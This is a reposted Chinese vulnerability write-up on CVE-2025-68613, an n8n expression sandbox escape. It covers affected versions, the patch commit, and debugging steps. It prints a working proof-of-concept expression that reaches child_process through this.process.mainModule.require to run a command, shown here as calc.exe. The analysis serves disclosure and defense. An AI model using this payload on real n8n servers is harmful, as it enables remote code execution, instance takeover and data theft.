【漏洞分析】n8n表达式沙箱逃逸导致远程代码执行漏洞(CVE-2025-68613)

admin 2026-01-05 18:02:20 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: n8n平台存在表达式沙箱逃逸漏洞CVE-2025-68613。攻击者利用表达式解析中this指向全局对象的特性,绕过属性检查并调用process.mainModule.require加载子进程模块,实现远程代码执行。建议受影响版本用户尽快升级至最新修复版本以防范系统被控及数据泄露风险。 综合评分: 93 文章分类: 漏洞分析,WEB安全,漏洞POC


cover_image

【漏洞分析】n8n 表达式沙箱逃逸导致远程代码执行漏洞(CVE-2025-68613)

原创

whoami0002

SecurityPaper

2025年12月30日 17:13 江苏

文章首发于先知社区:https://xz.aliyun.com/news/90967

漏洞描述

n8n 工作流自动化平台存在远程代码执行漏洞,已认证用户在配置工作流时提交的表达式,会在未与底层运行时充分隔离的执行环境中被解析执行,攻击者可借此以 n8n 进程权限执行任意代码,进而完全控制受影响实例,引发敏感数据泄露、工作流被篡改、系统级操作被非法执行等严重安全后果。

漏洞影响

0.211.0 ≤ n8n < 1.120.4 n8n < 1.121.1 n8n < 1.122.0

漏洞分析

本人使用的是1.116版本的n8n https://codeload.github.com/n8n-io/n8n/zip/refs/tags/n8n%401.116.0

直接运行pnpm install 会报错,先运行git init ,再执行pnpm install,pnpm build

首先根据漏洞通告,漏洞类型为表达式注入漏洞

查看官方文档

基于tournament解析表达式,支持执行JavaScript代码

本地测试一下tournament如何使用

pnpm add @n8n/tournament

表达式中this指向的为传入的data的值

tournament.execute执行表达式的过程

进入execute

进入evaluate

构建函数

在n8n中data在fn.call的时候调用了,在this.getFunction(expr)中跟data没有关系

传入个this试一下,可以看见this指向的是全局,而非上下文

={{this}}

查看补丁

https://github.com/n8n-io/n8n/commit/08f332015153decdda3c37ad4fcb9f7ba13a7c79

补丁增加了before: [FunctionThisSanitizer],一个前置检查函数以及三个Property:mainModule,binding,_load

开始调试,使用isSafeObjectProperty对属性值进行检查,只检查了proto,prototype,constructor,getPrototypeof

于是我们可以用this.process.mainModule来加载外部模块

构建测试代码{{this.process.mainModule.require(‘child_process’).exec(‘calc.exe’);}}

手动导入一下,发现是可以成功导入的

那么如何让try{}中的代码立即执行呢,答案是Nodejs立即执行函数,类似于下面的

constanonymous=&nbsp;(function() {
&nbsp; &nbsp;&nbsp;varglobal=&nbsp;{};

&nbsp; &nbsp;&nbsp;returnfunction(data) {

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;["=",&nbsp;function(v) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;console.log('1');
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;v=&nbsp;(function() {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;console.log('2');
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; })();
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;catch&nbsp;(e) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;console.log('3');
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;returnv||v===0||v===false?v&nbsp;:&nbsp;"";
&nbsp; &nbsp; &nbsp; &nbsp; }.call(data)].join("");
&nbsp; &nbsp; };
});

constresult=anonymous()({});

构造表达式

={{(function(){&nbsp;returnthis.process.mainModule.require('child_process').exec('calc.exe') })();}}

成功执行命令


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:SecurityPaper whoami0002《【漏洞分析】n8n 表达式沙箱逃逸导致远程代码执行漏洞(CVE-2025-68613)》

恒脑AI智能体之旅 网络安全文章

恒脑AI智能体之旅

文章总结: 本文推广智盾矩阵大模型安全智库帮会,提供了关于恒脑AI智能体之旅及海量AI安全领域的文档资源。内容涵盖政策标准、行业解决方案、技术白皮书、红队测试指
评论:0   参与:  0